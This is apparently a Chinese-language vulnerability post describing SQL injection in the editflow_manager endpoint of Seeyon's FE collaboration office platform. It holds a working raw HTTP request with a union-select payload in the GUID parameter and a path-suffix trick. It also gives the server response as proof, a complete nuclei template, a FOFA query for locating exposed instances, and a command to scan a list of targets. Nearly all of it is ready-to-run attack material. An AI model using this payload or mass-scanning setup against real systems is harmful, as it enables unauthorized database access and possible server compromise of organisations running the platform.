致远互联FE协作办公平台editflow_manager存在sql注入漏洞(附nuclei poc)

POST /sysform/003/editflow_manager.js%70 HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Connection: closeContent-Length: 41Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+

HTTP/1.1 200 OKConnection: closeContent-Length: 19Content-Type: text/html;charset=utf-8Date: Wed, 13 Dec 2023 01:54:05 GMTServer: Apache-Coyote/1.1Set-Cookie: JSESSIONID=KXALEDDIWK92000AA305DEE7FF4B5BCDD; Path=/X-Powered-By: Servlet 2.4; JBoss-4.0.4.GA (build: CVSTag=JBoss_4_0_4_GA date=200605151000)/Tomcat-5.5















24642

id: seeyon-FE-editflow_manager-sqli

info:  name: 致远互联FE协作办公平台editflow_manager存在sql注入漏洞  author: fgz  severity: high  description: 致远互联FE协作办公平台editflow_manager存在sql注入漏洞，攻击者可以获得敏感信息，也可能获取服务器控制权。  metadata:    fofa-query: title="FE协作办公平台" || body="li_plugins_download"requests:  - raw:      - |        POST /sysform/003/editflow_manager.js%70 HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        Content-Type: application/x-www-form-urlencoded                option=2&GUID=-1'+union+select+111*222--+

    matchers-condition: and    matchers:      - type: dsl        dsl:          - "status_code == 200 && contains(body,'24642')"

nuclei.exe -t seeyon-FE-editflow_manager-sqli.yaml -l FE协作办公平台.txt